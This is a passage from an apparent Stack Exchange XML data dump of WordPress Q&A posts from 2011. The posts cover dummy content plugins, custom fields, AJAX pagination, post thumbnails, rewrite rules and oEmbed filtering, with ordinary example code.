  <row Id="9241" PostTypeId="1" AcceptedAnswerId="9245" CreationDate="2011-02-13T08:56:49.973" Score="1" ViewCount="147" Body="&lt;p&gt;I tried using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-dummy-content/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-dummy-content/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I try using it, I get something like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An error occurred: Field 'to_ping'&#xA;  doesn't have a default valueAn error&#xA;  occurred: Field 'to_ping' doesn't have&#xA;  a default valueAn error occurred:&#xA;  Field 'to_ping' doesn't have a default&#xA;  valueAn error occurred: Field&#xA;  'to_ping' doesn't have a default&#xA;  valueAn error occurred: Field&#xA;  'to_ping' doesn't have a default value&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it the plugin or is it my WordPress (which is new? 3.0.5 just downloaded)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there are other Dummy content available&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-13T10:09:33.933" Title="Any dummy content I can use for development?" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="9243" PostTypeId="2" ParentId="9240" CreationDate="2011-02-13T09:32:01.737" Score="1" ViewCount="" Body="&lt;p&gt;It can be solved with custom fields, block1, block2, block3. In template (single.php) make three divs, in each set an appropriate meta value (use:  ?php echo get_post_meta($post_id, 'block1', true); ), and then you can control the text within each custom field.&lt;/p&gt;&#xA;" OwnerUserId="2922" LastActivityDate="2011-02-13T09:32:01.737" CommentCount="1" />
  <row Id="9244" PostTypeId="2" ParentId="9239" CreationDate="2011-02-13T09:32:29.563" Score="0" ViewCount="" Body="&lt;p&gt;It's likely that $wpdb has been globalized when it hits your particular function. Try checking $GLOBALS and if it there is an entry for $wpdb remove the line $global $wpdb; at the start of your funciton.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2011-02-13T09:32:29.563" CommentCount="5" />
  <row Id="9245" PostTypeId="2" ParentId="9241" CreationDate="2011-02-13T10:01:23.747" Score="1" ViewCount="" Body="&lt;p&gt;Might wish to try the &lt;a href=&quot;http://codex.wordpress.org/Theme_Unit_Test&quot; rel=&quot;nofollow&quot;&gt;theme unit tests&lt;/a&gt; for creating test/dummy content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just note, some of the images in the unit test may have incorrect URLs, they were for me(but should be relatively easy to correct - i can give you the URLs if you need them, i've fixed them in my installation - i just can't remember specifically which ones right now).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-13T10:01:23.747" />
  <row Id="9246" PostTypeId="1" AcceptedAnswerId="9256" CreationDate="2011-02-13T10:03:13.963" Score="2" ViewCount="2648" Body="&lt;p&gt;My main page has a intro image beside the main content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add that image using custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that pages don't have. I would like to enable them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bad practice?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-13T14:31:16.643" Title="How to enable custom fields for pages (if not a bad practice)?" Tags="&lt;custom-field&gt;&lt;pages&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9247" PostTypeId="2" ParentId="9238" CreationDate="2011-02-13T10:06:35.043" Score="0" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://powazek.com/depo-clean&quot; rel=&quot;nofollow&quot;&gt;DePo Clean&lt;/a&gt; in the past and assuming that its coded the same i can say it is very light weight and easy to customize and worked just fine on WordPress 3.0.4 as far as i can tell. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-13T10:06:35.043" />
  <row Id="9248" PostTypeId="2" ParentId="9241" CreationDate="2011-02-13T10:09:33.933" Score="0" ViewCount="" Body="&lt;p&gt;I've always used &lt;a href=&quot;http://wordpress.org/extend/plugins/demo-data-creator/&quot; rel=&quot;nofollow&quot;&gt;Demo Data Creator&lt;/a&gt; plugin.&#xA;It's a plugin that allows a WordPress developer to create demo users, blogs, posts, comments, categories and all done from a very easy admin panel.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-13T10:09:33.933" />
  <row Id="9250" PostTypeId="2" ParentId="9240" CreationDate="2011-02-13T12:21:04.810" Score="1" ViewCount="" Body="&lt;p&gt;Or you could add a special 'sidebar' (read: widget area) to your theme that you only show on the main page. Then you can add three 'text' widgets (or even other ones) to that sidebar and with a bit of CSS they'll show next to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_sidebar&lt;/a&gt;&lt;br&gt;&#xA;and here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_sidebar&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_sidebar&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-13T12:21:04.810" CommentCount="2" />
  <row Id="9251" PostTypeId="2" ParentId="9233" CreationDate="2011-02-13T13:36:02.697" Score="6" ViewCount="" Body="&lt;p&gt;you can wrap your function and hook it to ajax call like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if you want only logged in users to access this function use this hook&#xA;add_action('wp_ajax_more_links', 'my_AJAX_more_links_function');&#xA;//if you want none logged in users to access this function use this hook&#xA;add_action('wp_ajax_nopriv_more_links', 'my_AJAX_more_links_function');&#xA;&#xA;function my_AJAX_more_links_function(){&#xA;    check_ajax_referer('more_links');&#xA;    $success_response = new WP_Ajax_Response();&#xA;    $args = array('posts_per_page' =&amp;gt; 20 , 'offset' =&amp;gt; $_POST['offset']);&#xA;    $sidebar = new WP_Query($args);&#xA;    if ( $sidebar-&amp;gt;have_posts() ){ &#xA;         while ( $sidebar-&amp;gt;have_posts() ) {&#xA;            $sidebar-&amp;gt;the_post(); &#xA;            $out .= '&amp;lt;div class=&quot;story&quot;&amp;gt;';&#xA;            $out .= '&amp;lt;a href=&quot;' . the_permalink().'&quot; title=&quot;'. the_title'.&quot;&amp;gt;' . the_title().' - '.the_time(&quot;F j, Y h:i A&quot;) .'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        }&#xA;        $success_response-&amp;gt;add(array(&#xA;                    'what' =&amp;gt; 'has',&#xA;                    'data' =&amp;gt; array('html' =&amp;gt; $out, 'offset' =&amp;gt; $_POST['offset']&#xA;        ));&#xA;    }else{&#xA;        $out = __('Sorry but No more!');&#xA;        $success_response-&amp;gt;add(array(&#xA;                    'what' =&amp;gt; 'none',&#xA;                    'data' =&amp;gt; $out&#xA;                ));&#xA;    }&#xA;&#xA;    $success_response-&amp;gt;send();      &#xA;    exit;   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add this to your sidebar function at the end&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;more_links&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;get_more&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;offset&quot; id=&quot;offset&quot; value=&quot;20&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;more&quot; id=&quot;more&quot; value=&quot;Get more links&quot;&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;    jQuery('#more').click(function() { &#xA;        var data = {&#xA;            action: 'more_links',&#xA;            offset: jQuery( '#offset' ).val(),&#xA;            _ajax_nonce: &amp;lt;?php echo wp_create_nonce( 'more_links' ); ?&amp;gt;&#xA;        };&#xA;&#xA;        // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php&#xA;        jQuery.post(ajaxurl, data, function(response) {&#xA;            var res = wpAjax.parseAjaxResponse(response, 'ajax-response');&#xA;            jQuery.each( res.responses, function() { &#xA;                if (this.what == 'has') {&#xA;                    //insert links&#xA;                    jQuery(&quot;.more_links&quot;).append( this.data.html ); &#xA;                    //update offset value&#xA;                    jQuery(&quot;#offset&quot;).val(this.data.offset);&#xA;                    jQuery(&quot;.more_links&quot;).fadeIn(&quot;fast&quot;);&#xA;                }else{&#xA;                    //no more links found&#xA;                    jQuery(&quot;.more_links&quot;).append( this.data.html );&#xA;                    jQuery(&quot;.get_more&quot;).remove();&#xA;&#xA;                }&#xA;                //end if&#xA;                });//end each&#xA;&#xA;&#xA;        });&#xA;&#xA;        return false;&#xA;    })&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and there you go, oh wait you need to add wp-ajax-response so &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head','add_scripts_121');&#xA;function add_scripts_121(){&#xA;    wp_enqueue_script('wp-ajax-response');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you are set&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-13T13:36:02.697" />
  <row Id="9252" PostTypeId="1" AcceptedAnswerId="9254" CreationDate="2011-02-13T14:03:49.210" Score="2" ViewCount="121" Body="&lt;p&gt;How should I handle post thumbnails? Do most people put them in custom fields? Use a plugin? How do themes on ThemeForest handle this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also different theme will have different size requirements? So moving from 1 theme to the next could cause alot of problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thumbnails may come in different sizes too&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-13T20:39:27.840" Title="How to handle thumbnails" Tags="&lt;theme-development&gt;&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="9253" PostTypeId="1" CreationDate="2011-02-13T14:11:35.680" Score="1" ViewCount="186" Body="&lt;p&gt;I was wondering if it's possible to use oEmbed that is built into the core of WP to display video embeds but somehow remove the height and width attritbutes in the output? I know the functions exist in media.php but I don't want to mess with the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that we're developing a theme for a client which using a fluid grid framework and any image/video with specified height and width attributes means they don't scale with the grid in smaller viewports - or there may be a way to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3121" LastActivityDate="2011-02-13T15:05:46.163" Title="Is it possible to remove height and width attributes from oEmbed video embeds" Tags="&lt;oembed&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="9254" PostTypeId="2" ParentId="9252" CreationDate="2011-02-13T14:15:26.610" Score="6" ViewCount="" Body="&lt;p&gt;Since WordPress 2.9, you can add thumbnail support to your theme by adding this to the theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_theme_support' ) ) { &#xA;  add_theme_support( 'post-thumbnails' ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When this is done, you'll be able to add a feature image to your post on Posts, Pages or Custom Post Types. You'll see the &quot;Featured Image&quot; box when creating a new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the thumbnail size also in your functions.php file. You can use WordPress' &quot;thumbnail&quot;, &quot;medium&quot; and &quot;large&quot; sizes, create your own or specify a size with pixels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('thumbnail');       // Thumbnail (default 150px x 150px max)&#xA;the_post_thumbnail('medium');          // Medium resolution (default 300px x 300px max)&#xA;the_post_thumbnail('large');           // Large resolution (default 640px x 640px max)&#xA;&#xA;the_post_thumbnail( array(100,100) );  // Specify resolution&#xA;//Add your own:&#xA;add_image_size( 'category-thumb', 300, 9999 ); //300 pixels wide (and unlimited height)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of how to use this new Post Thumbnail size in theme template files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail( 'category-thumb' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should check &lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;Codex's page on Post Thumbnails&lt;/a&gt; for more info. There you'll also find how to style your thumbnails and more details on this code.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-13T14:15:26.610" CommentCount="2" />
  <row Id="9255" PostTypeId="2" ParentId="9216" CreationDate="2011-02-13T14:21:44.037" Score="1" ViewCount="" Body="&lt;p&gt;I see three issues in your rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The page number is the &lt;em&gt;third&lt;/em&gt;, not the second capture group. You count each opening &lt;code&gt;(&lt;/code&gt;, so the first is the category name, the second is &lt;code&gt;/page/[0-9]+&lt;/code&gt;, and the third is only the &lt;code&gt;[0-9]+&lt;/code&gt; you need. So change the &lt;code&gt;paged&lt;/code&gt; parameter to &lt;code&gt;$matches[3]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The page part can be optional, so you need to add a &lt;code&gt;?&lt;/code&gt; at the end (this is the reason we put it in a group).&lt;/li&gt;&#xA;&lt;li&gt;The categories can be hierarchical, like &lt;code&gt;/fruit/banana/&lt;/code&gt;. For this reason, you should not match them with &lt;code&gt;[^/]+&lt;/code&gt; (any character except a slash), but &lt;code&gt;.+?&lt;/code&gt; (any character, but &lt;em&gt;non greedy&lt;/em&gt;, so that the rest of the regex can still match).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Together, this results in the following rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&#xA;    'articles/category/(.+?)(/page/([0-9]+))?/?$',&#xA;    'index.php?post_type=articles&amp;amp;category_name=$matches[1]&amp;amp;paged=$matches[3]',&#xA;    'top'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't use it already, I recommend you debug your rules with my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;rewrite analyzer&lt;/a&gt;. You can test them live and see what the query values will be.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-13T14:21:44.037" CommentCount="1" />
  <row Id="9256" PostTypeId="2" ParentId="9246" CreationDate="2011-02-13T14:31:16.643" Score="6" ViewCount="" Body="&lt;p&gt;Pages do have Custom Fields enabled by default on WordPress. If you're not seeing them on the &quot;New/Edit Page&quot; page, then check the &quot;Screen Options&quot; pull down tab on the upper right corner of your Dashboard. See if &quot;custom fields&quot; is checked.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-13T14:31:16.643" CommentCount="1" />
  <row Id="9258" PostTypeId="1" CreationDate="2011-02-13T15:03:59.410" Score="0" ViewCount="212" Body="&lt;p&gt;I am attempting to implement Jan Fabry's &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1733/user-friendly-cropping-of-post-thumbnails/9257#9257&quot; title=&quot;here&quot;&gt;fixed image cropper&lt;/a&gt; code as a WordPress plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I activated both &lt;a href=&quot;https://gist.github.com/725508&quot; rel=&quot;nofollow&quot;&gt;Fixed Image Cropper&lt;/a&gt; and &lt;a href=&quot;https://gist.github.com/675437&quot; rel=&quot;nofollow&quot;&gt;On-Demand Image Resizer&lt;/a&gt; by placing them in separate folders in my plugins folder and activating in WordPress. But when I clicked the 'Edit Image' button after uploading the image as the post Featured Image, nothing happened. Neither the native WordPress editor nor the new editor showed up. I disabled all my other plugins just to be sure - still nothing. Should I be adding this differently than in a plugin folder? Has anyone had any success or issues with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-13T10:23:25.313" Title="Implementing a plugin for cropping featured image thumnails" Tags="&lt;plugins&gt;&lt;images&gt;&lt;post-thumbnails&gt;&lt;cropping&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="9259" PostTypeId="2" ParentId="9253" CreationDate="2011-02-13T15:05:46.163" Score="2" ViewCount="" Body="&lt;p&gt;The output of the oEmbed call is filtered through &lt;code&gt;oembed_result&lt;/code&gt; and then cached in the database. Every time the content is displayed, the output is filtered again through &lt;code&gt;embed_oembed_html&lt;/code&gt;. So you can add a filter in either of these places that checks for &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; attributes and removes them. Of course, since the code comes from the embed sources, you can't always be sure what the formatting will look like. The second argument to both filters is the embed URL, you can check that to differentiate your handling (&quot;if it's from YouTube do this, if it's from Flickr do that, ...&quot;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-13T15:05:46.163" CommentCount="6" />
  <row Id="9260" PostTypeId="2" ParentId="6903" CreationDate="2011-02-13T15:18:28.537" Score="1" ViewCount="" Body="&lt;p&gt;Expanding on Jan's answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(\d{4})/(\d{2})/(\d{2}/)?(.+?)(-\d{2,})?(/.+)?/?$ /$1/$4$5 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $5 part is to catch occasional trailing /page/2 or /feed. Optionally toss in QSA in the rule's parameters (i.e. &lt;code&gt;[L,QSA,R=301]&lt;/code&gt;) to make it append the query string when one is present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to place the above rule before the stuff inserted by WP, too, else it'll get ignored altogether.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-13T15:18:28.537" CommentCount="1" />
  <row Id="9261" PostTypeId="1" CreationDate="2011-02-13T15:21:48.080" Score="0" ViewCount="197" Body="&lt;p&gt;i would like to post my own hosted videos on Facebook! &#xA;The Foto and also the video to be played directly on Facebook!&#xA;Here you finde the link to my website:&#xA;www.media.spreadfilms.de&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment whem I am sharing the link on Facebook you only can see the url and some text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I do to resolve the problem?&#xA;I use JW Player Wordpress Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&#xA;Andi&lt;/p&gt;&#xA;" LastActivityDate="2011-02-13T15:21:48.080" Title="JW Player - Facebook" Tags="&lt;posts&gt;&lt;facebook&gt;" />
  <row Id="9262" PostTypeId="2" ParentId="9237" CreationDate="2011-02-13T15:32:47.287" Score="1" ViewCount="" Body="&lt;p&gt;For the SEO part you might get better answers on &lt;a href=&quot;http://webmasters.stackexchange.com/&quot;&gt;the Pro Webmasters Stack Exchange&lt;/a&gt;. I will focus on the performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your example I assume your permalink structure was &lt;code&gt;%category%/%postname%/&lt;/code&gt;. Because of the way WordPress parses the incoming URL, this will result in &lt;em&gt;verbose page rules&lt;/em&gt;, which means that each page (not post) you create gets their own set of rewrite rules. If you don't have many pages this does not matter much, if you have a lot of pages (say, above 50), this can be a serious performance hit or even stop your site from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use the Custom Permalinks plugin, but &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/custom-permalinks/tags/0.6.1/custom-permalinks.php#L140&quot; rel=&quot;nofollow&quot;&gt;a quick look at the code&lt;/a&gt; makes me doubt it will scale well when you have a lot of posts. I'm not a MySQL expert, but I think the database can't use an index effectively to speed up that query it does at every URL request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use the same structure for every post (&lt;code&gt;%custom-taxonomy%/%postname%/&lt;/code&gt;), I suggest you modify the rewrite rules to match this. I believe you can even do this by setting the permalink structure to &lt;code&gt;%category%/%postname%/&lt;/code&gt; and filtering the &lt;code&gt;post_rewrite_rules&lt;/code&gt; by replacing &lt;code&gt;category&lt;/code&gt; with your custom taxonomy slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you don't use categories, wouldn't it be easier to re-use this taxonomy so it fits your needs? You can &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4182/can-the-default-post-tags-taxonomy-be-renamed&quot;&gt;change the labels of the default taxonomies&lt;/a&gt; so they look like your custom taxonomies. The benefit is that categories have very strong support everywhere in WordPress, while the custom taxonomies are still new and can't always do everything (as easy) as categories can.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-13T15:32:47.287" CommentCount="3" />
  <row Id="9263" PostTypeId="2" ParentId="9176" CreationDate="2011-02-13T15:55:02.460" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;convertEntities&lt;/code&gt; function was defined in &lt;code&gt;utils.js&lt;/code&gt;, but if you use script concatenation this file would be included &lt;em&gt;after&lt;/em&gt; it is needed. Because it was in a try-catch clause, the error was not (always) noticed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to include the &lt;code&gt;convertEntities&lt;/code&gt; function before this code is loaded. In WordPress 3.1 this is now included in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/js/l10n.js&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;l10n.js&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5451/what-does-l10n-js-do-in-wordpress-3-1-and-how-do-i-remove-it&quot;&gt;which you cannot disable&lt;/a&gt;. A quick and dirty solution would be to copy this code and write it at the top of each page, so you are sure it is available.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-13T15:55:02.460" />
  <row Id="9264" PostTypeId="1" AcceptedAnswerId="9377" CreationDate="2011-02-13T16:15:36.307" Score="1" ViewCount="233" Body="&lt;p&gt;I am trying to customize the admin area using the functions.php file to make things easier for my clients.  One request I have got before and hope to be able to accomplish, is to move some of the sub menus into the main navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance I would like to make Widgets and Menus appear in the main navigation as opposed to being a submenu for Appearances.  I would then end up removing the Appearances tab all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to remove the tab but unable to make the new buttons for Widgets and Menus.  Even if I can get help of not technically moving them but instead creating a new button and setting the link myself (ex. for Menus -&gt; /nav-menus.php).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is any of that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3110" LastActivityDate="2011-02-15T08:26:24.043" Title="Make sub menu items a main link in the admin menu using fuctions.php" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;functions&gt;&lt;admin-menu&gt;&lt;dashboard&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="9265" PostTypeId="2" ParentId="9168" CreationDate="2011-02-13T16:19:57.267" Score="1" ViewCount="" Body="&lt;p&gt;Changing the rewrite rules &lt;strong&gt;does not affect how WordPress writes links&lt;/strong&gt; (except for the standard links, to posts, archives, ... and then only in simple cases). &lt;strong&gt;The rewrite rules only cover how incoming URLs are handled, you are responsible for writing the links in the new format.&lt;/strong&gt; This is different from frameworks with more advanced routing systems, like Symfony.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that you should change the link you write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo '/data-page/data_id/' . 32; ?&amp;gt;&quot;&amp;gt;Data page test link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Using &lt;code&gt;get_page_by_path()&lt;/code&gt; and then &lt;code&gt;get_permalink()&lt;/code&gt; seems redundant to me, since you already know the permalink, no? You can wrap it in &lt;code&gt;home_url()&lt;/code&gt; to get the full path.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite rule should then look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newrules['data-page/data_id/([0-9]{1,})/?$'] = 'index.php?data_id=$matches[1]&amp;amp;pagename=data-page';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We add the &lt;code&gt;pagename=data-page&lt;/code&gt; because otherwise WordPress doesn't know what page to show. You currently have a page with the slug &lt;code&gt;data-page&lt;/code&gt; and a custom template, but there are also other ways to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should not flush the rewrite rules on every &lt;code&gt;init&lt;/code&gt;. Only do this when the rules change. If you write this as a plugin use the activation hook, otherwise just visit the &lt;em&gt;Permalinks&lt;/em&gt; page to flush them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of your question is not really clear to me. I once answered &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4558/how-to-let-a-single-post-have-its-own-domain-name&quot;&gt;how to let a single post have its own domain name&lt;/a&gt;, perhaps that can help you?&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-14T12:31:02.737" LastActivityDate="2011-02-14T12:31:02.737" CommentCount="9" />
  <row Id="9266" PostTypeId="2" ParentId="9070" CreationDate="2011-02-13T16:48:41.740" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;edit-tags.php&lt;/code&gt; doesn't listen to any arguments except the &lt;code&gt;s&lt;/code&gt; search query variable. If you want to do anything more advanced, you will have to hook into the &lt;code&gt;get_terms&lt;/code&gt; filter.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-13T16:48:41.740" CommentCount="1" />
  <row Id="9267" PostTypeId="2" ParentId="9080" CreationDate="2011-02-13T18:48:36.313" Score="0" ViewCount="" Body="&lt;p&gt;What would be right way to load jQuery UI only on custom post type page?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;global $pagenow&#xA;if ($pagenow == 'post-new.php?post_type=events') {&#xA;// enqueue scripts here&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this correct way?&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-02-13T18:48:36.313" />
  <row Id="9268" PostTypeId="1" CreationDate="2011-02-13T18:57:41.877" Score="0" ViewCount="92" Body="&lt;p&gt;I am trying to recover some code I had several months ago (I have backups of everything). It was part of a text widget in my WordPress sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have the full backup, where can I find that code? I can't seem to find that folder.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-14T08:52:14.210" Title="FTP Widget Location" Tags="&lt;widgets&gt;&lt;backup&gt;&lt;ftp&gt;" AnswerCount="2" />
  <row Id="9269" PostTypeId="2" ParentId="9268" CreationDate="2011-02-13T19:23:05.170" Score="2" ViewCount="" Body="&lt;p&gt;try looking at the wp_options table &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-13T19:23:05.170" CommentCount="2" />
  <row Id="9270" PostTypeId="2" ParentId="9258" CreationDate="2011-02-13T19:32:09.520" Score="0" ViewCount="" Body="&lt;p&gt;I've found that the Scissors plugin is very good for the cropping of images for the Featured Image. Simple, quick and you can fix an aspect ratio too&lt;/p&gt;&#xA;" OwnerUserId="3121" LastActivityDate="2011-02-13T19:32:09.520" />
  <row Id="9272" PostTypeId="2" ParentId="3028" CreationDate="2011-02-13T20:15:46.983" Score="0" ViewCount="" Body="&lt;p&gt;check out &lt;a href=&quot;http://wordpress.org/extend/plugins/mailpress/&quot; rel=&quot;nofollow&quot;&gt;mailpress&lt;/a&gt;&#xA;its a newsletter system, with some gr8 customization capabilities,&#xA;you can sync wp user as a subscriber, define role and reponsibilites etc.&lt;/p&gt;&#xA;" OwnerUserId="3124" LastActivityDate="2011-02-13T20:15:46.983" />
  <row Id="9273" PostTypeId="2" ParentId="9252" CreationDate="2011-02-13T20:39:27.840" Score="1" ViewCount="" Body="&lt;p&gt;Thumbnail handling is basically combination of two factors - standards and meta information.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Native post thumbnails are standard and have meta info.&lt;/li&gt;&#xA;&lt;li&gt;Custom fields can hold meta info about thumbnail, but there is no standard.&lt;/li&gt;&#xA;&lt;li&gt;Post content can be mined for images (no meta, no standard).&lt;/li&gt;&#xA;&lt;li&gt;Something really custom, like assigning thumbnails depending on post categories, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have control over content form the start it is easier to choose some method and stick with it. If you don't have control or content predates post thumbnails it is more tricky. Personally I use &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get The Image&lt;/a&gt; that is single wrapper to run multiple methods to fetch thumbnail (with your own callback if needed).&lt;/p&gt;&#xA;" 